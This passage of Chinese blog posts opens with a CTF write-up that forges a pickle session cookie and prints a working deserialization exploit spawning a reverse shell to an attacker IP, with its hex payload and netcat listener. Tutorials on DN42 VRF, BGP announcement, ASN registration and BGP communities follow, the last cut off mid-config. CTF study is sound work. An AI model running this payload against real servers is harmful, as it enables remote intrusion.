IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() 运行，得到export.csv，上传，正确率>=98%即可得到Flag：DASCTF{34164200333121342836358909307523} ez_blog 打开网页，发现要登录，根据提示，尝试使用用户名guest密码guest成功登录访客，发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析，可知这是pickle经过序列化然后转换成hex得到的，解码可发现：KappUser)}(idusernameguesis_admin logged_inub.，尝试通过修改里面的内容，将username改成admin，is_admin改成True，得到：8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e，通过BurpSuite修改请求时的Cookies，成功拿到admin用户的权限（可以创建文章）： 也就是说，服务端会将Token反序列化，可以以此利用反序列化漏洞。因为没有回显，只能反弹shell。编写Payload： import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) 运行得到Payload：80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e，服务器上运行nc -lvvp 2333，将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中： 得到Flag：DASCTF{15485426979172729258466667411440}
DN42&OneManISP - 使用VRF实现公网BGP和DN42共用一台机器
背景 目前同一区域内公网BGP和DN42分别用了一台VPS，也就是说同一个区域需要两台机器。从群友那里得知了VRF，便想着通过VRF实现同一台机器同时处理公网BGP并加入DN42。 注意：VRF方案因为其隔离性，会导致DN42无法访问主机的服务。如果你需要在服务器上跑诸如DNS之类的服务给DN42用，你可能需要再单独配置端口转发或者veth，但是不在本文讨论范围内。（这也是我实际生产环境最终还是没有采用VRF的原因） VRF的优点 虽然说DN42使用的IP段是私有地址，并且它的ASN用的都是内部ASN，理论上不会和公网BGP相互干扰，但是如果共用同一张路由表，可能会造成路由污染、管理复杂等问题。 VRF（Virtual Routing and Forwarding，虚拟路由转发）可以实现在一台机器上创建多个路由表，也就是说我们可以通过它将DN42的路由单独放到一个路由表里，以实现将DN42路由表和公网路由表相隔离。这么做的优点有： 绝对的安全与策略隔离：DN42路由表和公网路由表相隔离，从根本上杜绝了路由泄露的可能性。 清晰的运维管理：可以使用birdc show route table t_dn42和birdc show route table t_inet来分别查看和调试两张完全独立的路由表，一目了然。 故障域隔离：若果DN42的某个对等体发生Flap，这些影响将被完全限制在dn42的路由表内，不会消耗公网实例的路由计算资源，也不会影响公网的转发性能。 更符合现代网络设计理念：在现代网络工程中，为不同的路由域（生产、测试、客户、合作伙伴）使用VRF是标准做法。它将你的设备逻辑上划分成了多个虚拟路由器。 配置 系统部分 创建VRF设备 使用以下指令创建一个名为dn42-vrf的VRF设备并关联到系统的1042号路由表： ip link add dn42-vrf type vrf table 1042 ip link set dev dn42-vrf up # 启用 路由表号可以按照你自己的喜好修改，但是请避开以下几个保留路由表编号： 名称 ID 说明 unspec 0 未指定，基本不用 main 254 主路由表，大多数普通路由都放在这里 default 253 一般不用，保留 local 255 本机路由表，存放127.0.0.1/8、本机 IP、广播地址等，不能改 将现有的相应网卡关联到VRF 按照我目前的DN42网络为例，有若干WireGuard网卡和一个dummy网卡是用于DN42的，因此将这几个网卡都关联到VRF中： ip link set dev <网卡名> master dn42-vrf 需要注意的是，网卡关联到VRF之后可能会丢失地址，因此需要重新为其添加一次地址，如： ip addr add 172.20.234.225 dev dn42 完成之后，通过ip a应该能看到对应网卡的master是dn42-vrf： 156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000 link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff inet 172.20.234.225/32 scope global dn42 valid_lft forever preferred_lft forever inet6 fd18:3e15:61d0::1/128 scope global valid_lft forever preferred_lft forever inet6 fe80::b4f5:28ff:feed:2304/64 scope link valid_lft forever preferred_lft forever 持久化 我使用了ifupdown2来实现开机自动加载dummy网卡和VRF设备。 auto dn42-vrf iface dn42-vrf inet manual vrf-table 1042 auto dn42 iface dn42 inet static pre-up ip link add $IFACE type dummy || true vrf dn42-vrf address <IPv4 Address>/32 address <IPv6 Address>/128 post-down ip link del $IFACE 我的dummy网卡名称为dn42，如果你的名称不一样请按需要修改。创建完后使用ifup dn42-vrf && ifup dn42即可启动dummy网卡和VRF。 WireGuard隧道 添加PostUp使其关联到vrf并重新为其绑定地址。举个例子： [Interface] PrivateKey = [数据删除] ListenPort = [数据删除] Table = off Address = fe80::2024/64 + PostUp = ip link set dev %i master dn42-vrf + PostUp = ip addr add fe80::2024/64 dev %i PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0 [Peer] PublicKey = [数据删除] Endpoint = [数据删除] AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8 然后重新启动隧道即可。 Bird2部分 首先我们需要定义两张路由表，分别用于dn42的IPv4和IPv6： ipv4 table dn42_table_v4; ipv6 table dn42_table_v6 随后，在kernel protocol中指定VRF和系统路由表编号，并在IPv4、IPv6中指定前面创建的v4、v6路由表： protocol kernel dn42_kernel_v6{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv6 { + table dn42_table_v6; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIPv6; accept; }; }; }; protocol kernel dn42_kernel_v4{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv4 { + table dn42_table_v4; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIP; accept; }; }; } 除了kernel以外的protocol都加上VRF和IPv4、IPv6独立的table，但不需要指定系统路由表编号： protocol static dn42_static_v4{ + vrf "dn42-vrf"; route DN42_OWNNET reject; ipv4 { + table dn42_table_v4; import all; export none; }; } protocol static dn42_static_v6{ + vrf "dn42-vrf"; route DN42_OWNNETv6 reject; ipv6 { + table dn42_table_v6; import all; export none; }; } 总而言之就是： 一切和DN42有关的都给配置一个VRF和之前定义的路由表 只有kernel协议需要指定系统路由表编号，其他不需要 对于BGP、OSPF等也如法炮制，不过我选择将公网的RouterID和DN42的分开，因此还需要单独配置一个RouterID： # /etc/bird/dn42/ospf.conf protocol ospf v3 dn42_ospf_iyoroynet_v4 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv4 { + table dn42_table_v4; import where is_self_dn42_net() && source != RTS_BGP; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv6 { + table dn42_table_v6; import where is_self_dn42_net_v6() && source != RTS_BGP; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; # /etc/bird/dn42/ebgp.conf ... template bgp dnpeers { + vrf "dn42-vrf"; + router id DN42_OWNIP; local as DN42_OWNAS; path metric 1; ipv4 { + table dn42_table_v4; ... }; ipv6 { + table dn42_table_v6; ... }; } include "peers/*"; 完成后birdc c重载配置即可。 这时，我们可以通过ip route show vrf dn42-vrf来单独查看DN42的路由表： root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf 10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 ... 也可以在Ping的时候通过参数-I dn42-vrf来实现通过VRF Ping： root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf ping: Warning: source address might be selected on device other than: dn42-vrf PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data. 64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms 64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms 64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms 64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms ^C --- 172.20.0.53 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms 注意事项 如果vrf设备重载了，所有原先和vrf相关联的设备都需要重载一次，否则无法正常工作 目前DN42是无法访问到配置了VRF的主机内的服务的，后续可能出一篇文章讲一下如何去让VRF内的流量可以访问到主机服务（挖坑ing） 从朋友那里了解到，可以通过设置net.ipv4.tcp_l3mdev_accept=1和net.ipv4.udp_l3mdev_accept=1来允许全局空间的监听套接字接受来自VRF域的连接请求，实现跨vrf监听服务。 参考文章： 用 BIRD 运行你的 MPLS 网络
前言 上文我们已经成功注册了一个ASN并且拿到了一段IPv6地址，这次我们就来将这段地址广播给全世界。 在RIPE Database设置子网对象 需要注意的是，公网允许广播的最小IPv6前缀是/48，也就是说你如果只有一个/48地址你无法将其拆成更小的段。所以我后来又单独租用了一段/40，打算将其拆成多个/48来广播。 我获取到的IPv6为2a14:7583:f200::/40，打算拆出来2a14:7583:f203::/48用于给Vultr使用。如果你不需要拆段，请直接跳转到「创建路由信息」一节 拆段 首先打开Create "inet6num" object - RIPE Database，填入如下内容： inet6num: 打算拆出来的IP段，CIDR格式 netname: 网络名称 country: IP段所属国家，需要符合ISO 3166标准（RIPE DB里可以直接选择） admin-c: 上文创建的Role对象的主键值 tech-c: 上文创建的Role对象的主键值 status: ASSIGNED即可 此步骤将你获得的地址拆出来一个小的/48地址块。 创建路由信息 打开Create "route6" object - RIPE Database，填入如下内容： route6: 填写你打算广播播的IPv6地址块的CIDR格式 origin: 填写你申请到的ASN，包含AS前缀 此步骤声明允许你的ASN使用这段地址段来发BGP路由。 申请VPS的BGP Session接入 此次我使用的是Vultr家的机器，他们家的BGP Session算是很新手友好的了，有一套自己的验证系统；并且上游良好的过滤器保证了一般情况下即使发送了错误的路由表也不会影响到公网。 （此处我配置的时候忘记截图了，可以参考一下宝硕大佬的文章 年轻人的第一个 ASN 中的 申请 Vultr 的 BGP 广播功能 章节） 进入BGP - Vultr.com，选择Get Started之后按照要求填写你的ASN信息和IPv6地址块。LOA（Letter Of Authorization，授权信）可参考以下模板：LOA-template.docx（因为发现网上查到的都是以公司的名义写的，因此以个人名义重新写了一份） 完成后系统会自动创建一条工单，并且能看到我们的ASN和IP地址块处于待验证的状态： 点击Start，系统会向注册Role时填写的abuse-mailbox邮箱发送一封验证邮件： 收到的邮件如图所示： 其中，上面那个链接代表同意授权Vultr广播你的IP段，下面那个则是不同意。我们点击上面那个之后会进入Vultr的网页： 再点击Approve Announcement即可。ASN和IP段都需要验证一次。 接着，等待Vultr的工作人员审核完成后来到VPS的控制台，就能看到我们的BGP选项卡了，其中可以得到上游的信息： 此处不得不称赞一下Vultr的工单效率，我平均从创建工单申请授权到完成只花了10分钟左右。（反观之前在iFog GmbH，平均工作日工单回复时间1天左右实在是好太多了） 其他厂商的VPS大概都是这么个流程，你需要告诉工作人员你要播的ASN和IP段，在验证完所有权之后工作人员会为你配置对应的BGP Session。 广播！ 你应该已经从上游那里得到了以下信息： 上游的ASN 上游用于BGP Session的地址 （可选）密码 我用的操作系统是Debian12 Bookworm，使用Bird2作为路由软件，并且按照这篇文章中「更新Bird2至v2.16及以上」章节更新Bird2至最新版。Vultr那边给我的上游ASN是64515，上游用于BGP Session的地址是2001:19f0:ffff::1，VPS用于BGP Session的地址是2001:19f0:0006:0ff5:5400:05ff:fe96:881f。 我的Bird2配置文件修改自DN42中的配置文件： log syslog all; define OWNAS = 205369; # 自己的ASN define OWNIPv6 = 2a14:7583:f203::1; # 给机器绑定的单个IPv6地址 define OWNNETv6 = 2a14:7583:f203::/48; # 打算播的网段 define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; # 打算播的网段集合 router id 45.77.x.x; # 路由器ID，这里使用VPS的公网IPv4 protocol device { scan time 10; } function is_self_net_v6() { return net ~ OWNNETSETv6; } protocol kernel { scan time 20; ipv6 { import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = OWNIPv6; accept; }; }; }; protocol static { route OWNNETv6 reject; ipv6 { import all; export none; }; } template bgp upstream { local as OWNAS; path metric 1; multihop; # 指定多跳 ipv6 { import filter { if net ~ [::/0] then reject; # 拒绝导入默认路由 accept; }; export filter { if is_self_net_v6() then accept; # 仅导出自己网段内的路由，防止劫持 reject; }; import limit 1000 action block; }; graceful restart; } protocol bgp 'Vultr_v6' from upstream{ local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS; # local后面的地址即上游给的用于BGP Session的VPS上的地址 password "123456"; # 上游给你的BGP密码，若没密码就将这一行删除 neighbor 2001:19f0:ffff::1 as 64515; # 上游的BGP Session IP和ASN } 几个值得注意的点： 此处upstream模板的导入规则拒绝了 默认路由 ，这样写可以防止上游发来的路由表覆盖掉本地的默认网关等路由信息。如果我们有多个BGP邻居，则可能导致绕路甚至路由环路。 upstream中指定了多跳（multihop;），这是因为Vultr的BGP对端不能直达，若不设置多跳则会导致BGP会话卡在Idle状态。如果你的BGP上游是直连，可以不设置此行或者改为direct;。 填写完配置文件，运行birdc configure载入配置。 运行birdc show protocols查看状态，如果不出意外的话应该能看到BGP会话已经Established： 这个时候，你可以起身做点别的事情，等待全球路由收敛。大概半个小时之后，打开bgp.tools，查询自己的/48段，应该就能看到已经成功被全球互联网收敛，并且能看到我们的上游信息： 接着，我们在VPS上创建一个dummy网卡，并绑定我们为这个机器设置的段内的单个IPv6地址，如我给我这台机器分配了2a14:7583:f203::1： ip link add dummy0 type dummy ip addr add 2a14:7583:f203::1/128 dev dummy0 接着使用我们自己的PC ping这个地址就能通了，traceroute也能看到完整路由路径： 感谢米露大佬提供的技术支持！ 参考文章： 自己在家开运营商 Part.2 - 向世界宣告 IP 段 (BGP Session & BIRD) 年轻人的第一个 ASN - 宝硕博客 BGPlayer 从零开始速成指北 - 开通 Vultr 的 BGP 广播功能 - AceSheep BGP (2) 在 Vultr 和 HE 使用自己的 IPV6 地址 - 131's Blog
写在前面 本文记录了我在RIPE NCC申请ASN的完整过程，内容适合入门者参考，若有错误欢迎邮件联系我，我会在第一时间更正。 既然已经在DN42上学习了基本的BGP概念，不玩玩公网的有点说不过去吧（ 基本概念 目前公网ASN和IP资源分配由世界上5个 区域互联网注册管理机构（Regional Internet registry, RIR） 管理： ARIN: 负责管理北美地区 RIPE NCC: 负责管理欧洲地区 APNIC: 亚洲地区 LACNIC: 拉丁美洲地区 AfriNIC: 非洲地区 RIR不直接对个人用户提供服务，而是通过将资源授权给 本地互联网注册管理机构（Local Internet Registry, LIR） ，再由LIR授权给个人。当然，个人用户也可以注册成为LIR，但是这一般而言一般是不划算的。 如果你愿意每年交几千美元作为会费的话当我没说。 其中，对个人申请比较友好的是RIPE NCC，其次是ARIN和APNIC。相较于RIPE NCC，APNIC的费用普遍要高30%左右；并且RIPE NCC提供了一套在线管理系统，用户可以自己修改信息、查询进度，而在APNIC则需要联系LIR处理。综合而言，我选择在RIPE NCC申请ASN。 申请到的资源（ASN、IP都算）一般分为两种： PA（Provider Aggregatable）资源: 属于LIR，由LIR注册授权给你用的资源 PI（Provider Independent）资源: 属于你自己的资源，一般而言价格较高 准备阶段 选择一个LIR 上网查询LIR Service，可以找到很多提供这类服务的商家。目前RIPE NCC会向PI资源收取一年50EUR的管理费用，也就是说一般而言LIR注册ASN的费用不会低于50EUR（截至文章发布，大概60USD）一年。此处我选择的群友推荐的NoPKT LLC，价格算是比较合理的并且随ASN附赠一段/48 PA IPv6地址，实测下号速度也很快，从提交完材料到下号只用了半天。 准备材料 身份证明 个人：提供身份证或者护照都可以（我提供的身份证正反面照片） 企业：提供有效的营业执照 若申请人为未成年人，通常需要其法定监护人提供书面同意书并履行相应监护职责。所有提交的文件应确保真实有效，且必须是原件或经过公证的副本。 联系信息 通信地址，被用于登记在RIPE Database 技术人员邮箱 滥用举报邮箱 技术要求证明 欧洲范围内的BGP服务商开具的账单，可以选择Vultr、BuyVM、iFog、V.PS等。 注：Vultr是先用后付制，每月初出账单。如果你着急备好材料，建议选择其他家。 两个你打算接入的上游的ASN（实际上审核方不会严格验证你填写的上游ASN，因此可以随意填写，但建议填写一些常见的公开ASN以显得合理，不用过多纠结。 甚至填我的也行 ） 注册RIPE DB账户并创建条目 打开RIPE Database并注册一个账户。此处填写姓名时建议填写你自己的真实姓名的拼音，并且强制要求开启2FA，请提前在手机上安装TOTP软件。 创建Role对象和Maintainer对象 打开Create role and maintainer pair - RIPE Database，创建一个role对象。 此处role为一个抽象概念，用来描述一个团队、部门或者职能角色的联系方式，代指一个角色，比如 NOC (Network Operations Center)、Abuse Team、Hostmaster 等。 mntner: maintainer对象的标识符，可包含大小写字母、数字、-_。例如我填写的是IYOROY-MNT role: role对象的名称，可包含大小写字母、数字、][)(._"*@,&:!'+/-。例如我填写的是IYOROY-NETWORK-NOC address: 此role对象的办公地址 e-mail: 此role的电子邮件地址 填写完成后SUBMIT即可创建role对象和maintainer对象。请记录下返回的主键名称，一般以-RIPE结尾，后续修改信息及提交到LIR需要用到。 此处maintainer对象标识符和role对象有所区别，前者意为谁有权限维护数据库中的对象（即写入/修改/删除权限控制），是维护者实体。关于RIPE Database中各个概念之间的归属，可参考文章后部的示意图。 添加滥用举报邮箱 打开Query - RIPE Database，查询刚刚获得的role主键名称，可以查询到刚刚创建的条目。点击右侧Update Object。 点击e-mail栏右侧的加号，创建一个abuse-mailbox属性，并且填入你的滥用举报邮箱： SUBMIT保存。 注：RIPE会定时检查滥用举报邮箱是否可用，请务必填写真实的邮箱地址 创建Organization对象 此处Organization对象是法律实体或组织（公司、大学、ISP、个人用户等）的抽象，是 RIPE Database 里资源对象（比如aut-num、inetnum、inet6num）的上层归属信息，也就是说后续的ASN、IP资源都将授权给Organization对象。 打开Create Organization - RIPE Database，填写如下信息： organisation: 唯一ID，保留为默认的AUTO-1即代表由RIPE NCC分配。 org-name: 组织的名称。如果是个人用户注册则需要填写你自己的姓名拼音全称。 address: 通信地址。 country: 国家代码，参考ISO 3166。中国就填写CN e-mail: 组织的电子邮件。 admin-c / tech-c: 联系对象（引用 role 的 handle）。 abuse-c: 指定abuse联系方式（必须是一个role对象，链接到role对象中的abuse-mailbox）。 mnt-ref: 指定可以创建引用该organisation的对象的维护者。 mnt-by: 谁能维护这个organisation本身。 填写完SUBMIT，并记下返回的对象标识符，类似于ORG-XXXX-RIPE的格式。 如果你在提交后发现需要修改，去Query - RIPE Database查找刚刚记录下的Role主键或者组织的对象标识符即可找到修改入口。 支付LIR费用并且提交材料 将以下材料提交给你的LIR： 身份证明 姓名 地址，推荐证件地址 身份证正反面照片 RIPE Database信息 org: 组织对象标识符 as-name: AS名称 admin-c: 上面创建的role对象主键 tech-c: 上面创建的role对象主键 abuse-c: 上面创建的role对象主键 nic-handle: 上面创建的role对象主键 mnt-by: 上面创建的maintainer对象名称 技术要求证明 VPS账单 上游的ASN LIR会要求你在你的Organization里添加一条mnt-ref，指向LIR的维护者，这样LIR那边才能够将AS和IP等资源授权到你的Organization。LIR那边审核没问题之后会将请求提交到RIPE，接着就是等待。一般而言需要3-5个工作日即可下号。 自此，我们已经在公网上注册了属于我们自己的ASN。 补充：RIPE Database中各个概念之间的关系 graph LR %% ========== ORG 层 ========== subgraph Org["Organisation"] ORG["organisation\n(ORG-XXX-RIPE)"] end %% ========== 资源层 ========== subgraph Resource["资源"] INETNUM["inetnum\n(IPv4 段)"] INET6NUM["inet6num\n(IPv6 段)"] AUTNUM["aut-num\n(ASN)"] ASSET["as-set\n(ASN 集合)"] end %% ========== 路由层 ========== subgraph Routing["路由"] ROUTE["route\n(IPv4 前缀公告)"] ROUTE6["route6\n(IPv6 前缀公告)"] end %% ========== 联系人层 ========== subgraph Contact["联系人"] ROLE["role\n(团队/职能)\nnic-hdl"] PERSON["person\n(个人)\nnic-hdl"] end %% ========== 权限层 ========== subgraph Maintainer["权限"] MNT["mntner\n(维护者)"] end %% ========== 联系 ========== INETNUM --> ROLE INET6NUM --> ROLE AUTNUM --> ROLE ASSET --> ROLE ROUTE --> ROLE ROUTE6 --> ROLE ROLE --> PERSON %% ========== 组织归属 ========== ORG --> INETNUM ORG --> INET6NUM ORG --> AUTNUM ORG --> ASSET %% ========== 权限 ========== ORG --> MNT INETNUM --> MNT INET6NUM --> MNT AUTNUM --> MNT ASSET --> MNT ROUTE --> MNT ROUTE6 --> MNT ROLE --> MNT PERSON --> MNT %% ========== 路由绑定 ========== ROUTE -->|origin| AUTNUM ROUTE6 -->|origin| AUTNUM %% ========== 路由范围 ========== ROUTE -->|属于| INETNUM ROUTE6 -->|属于| INET6NUM 特别感谢米露大佬提供部分技术支持和答疑解惑！ 参考文章： 自己在家开运营商 Part.1 - 注册一个 ASN - LYC8503 从0开始注册一个ASN并广播IP | Pysio's Home 青年人的第一个运营商：注册一个 ASN | liuzhen932 的小窝
写在前面 本人是BGP小白，文章中可能会存在不严谨内容/小白理解/低级错误，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以邮件联系我，我会在第一时间更正。如果您不能接受，建议现在就关闭此文章。 什么是BGP Communities TL;DR: BGP Communities给路由“打标签”，其他人可以通过这个标签实现路由优选 这个概念对于刚入坑的小白 （比如我） 来说可能比较陌生，可能不理解它是干吗用的 简单来说，BGP Communities是一种标记路由的机制，类似于给路由打标签。它允许网络管理员给通过BGP传播的路由附加一个或多个“标签”（即社区值）。这些标签本身并不改变路由的路径属性（如AS_PATH、LOCAL_PREF、MED等），但它们提供了一种信号机制，用于向本AS内或下游对等AS中的其他路由器指示应该对该路由执行何种策略或处理。BGP Communities可以用来： 简化策略配置: 网络内部或下游 AS 的路由器只需配置基于社区值的策略（如设置LOCAL_PREF、添加NO_EXPORT、应用路由图等），无需知道具体的前缀细节。这使得策略更集中、更易管理、更不易出错 传达策略意图给下游AS: 可以将社区值附加在它通告给下游客户或对等AS的路由上。这些社区值传达了对这些路由应如何处理的要求或建议，如根据不同地理位置、不同延迟和带宽来进行路由优选等 在AS内部协调策: 在大型AS内部，IBGP全互联或使用路由反射器时，可以在 AS 边缘路由器（接收 EBGP 路由或重分发路由的路由器）给路由打上社区值，AS内部的核心路由器或路由反射器可以识别这些社区值，并应用相应的内部策略（如设置LOCAL_PREF、MED、决定是否向某些IBGP对等体通告、打上其他社区等），而无需在每个内部路由器上配置复杂的基于前缀的策略 DN42中有一套自己的Communities规范，详情可参考：BGP-communities - DN42 Wiki 配置 本文大致思路和方案来源于Xe_iu大佬，仅针对地理位置信息添加BGP Communities并进行优选。一般来说这样就足够了。（还有个原因是其他的我还没太搞明白） 注意: 我们应该只对自己的AS添加地理位置信息相关的BGP Communities，不应当对邻居传递来的路由添加相关条目。若对邻居的路由加上自己的地区Communities则会造成伪造路由起源，引发路由劫持。下游可能会误判流量路径，将本应直连的流量绕道至你的网络，增加延迟的同时大量消耗你的网络的流量。（Large Communities除外，Large Community有一套验证机制可以防止此类事情发生，但是不在本文讨论范围内） 思路已经很明白了，在导出路由时我们需要先验证是否是我们自己的路由，如果是则为路由打上communities标签即可。DN42官方给的样例配置中已经写好了两个函数is_self_net()和is_self_net_v6()用于检查是否是自己的路由，因此编写配置文件部分就很简单了。 为路由添加Communities 首先我们需要在节点配置文件开头定义好当前节点的地理区域信息，详情请查询BGP-communities - DN42 Wiki： define DN42_REGION = 52; # 52代表亚洲东部地区 define DN42_COUNTRY= 1344; # 1344代表香港 请将上述数值按照你的节点地理位置情况修改 随后在dnpeers模板中修改导出的过滤器： }; export filter { - if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept; + if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then{ + if (is_self_net()) then { # 检查是否是自己的路由 + bgp_community.add((64511, DN42_REGION)); # 打上大洲级别的区域信息 + bgp_community.add((64511, DN42_COUNTRY)); # 打上国家/地区信息 + } + accept; + } reject; }; import limit 1000 action block; 在导出时检查，如果是自己的路由则按照上面设置的DN42_REGION和DN42_COUNTRY为该路由设置bgp_community。其中，64511是专门为地理标签（Region/Country）保留的公共AS号标识符，直接照抄即可。在IPv6的导出规则中也如法炮制，不过将is_self_net()换成is_self_net_v6()即可。 根据Communities优选 此处我们需要引入另一个概念：local_pref（Local Preference），他用于在AS内部标识路由的优先级。其默认值为100，值越大优先级越高。并且在BGP选路逻辑中，local_pref有着最高的优先级，甚至高于AS_PATH长度。也就是说，通过设置local_pref我们可以调整整个路由的优先级，以实现路由优选。 再结合上文的BGP Communities，我们可以根据Communities来为路由设置相应的local_pref来实现优选。同时，因为BGP.local_pref会在AS内部传递，所以需要同时更改eBGP和iBGP的路由导入和导出逻辑。 此处我处理BGP.local_pref的逻辑参考 （实际上是照抄） 了Xe_iu大佬的方案： 对于同一个大洲的路由，优先级+10 对于同一个国家，优先级再+5 对于直接和自己Peer的路由，优先级再+20 创建一个函数用于优先级计算： function ebgp_calculate_priority() { int priority = 100; # 基础优先级 # 同区域检测（+10） if bgp_community ~ [(64511, DN42_REGION)] then priority = priority + 10; # 同国家检测（+5） if bgp_community ~ [(64511, DN42_COUNTRY)] then priority = priority + 5; # eBGP直接邻居检测（+20） if bgp_path.len = 1 then priority = priority + 20; return priority; } 接着，在dnpeers模板中的导入过滤器中将bgp_local_pref设置为从函数计算出来的值： template bgp dnpeers { local as OWNAS; path metric 1; ipv4 { import filter { if is_valid_network() && !is_self_net() then { if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then { print 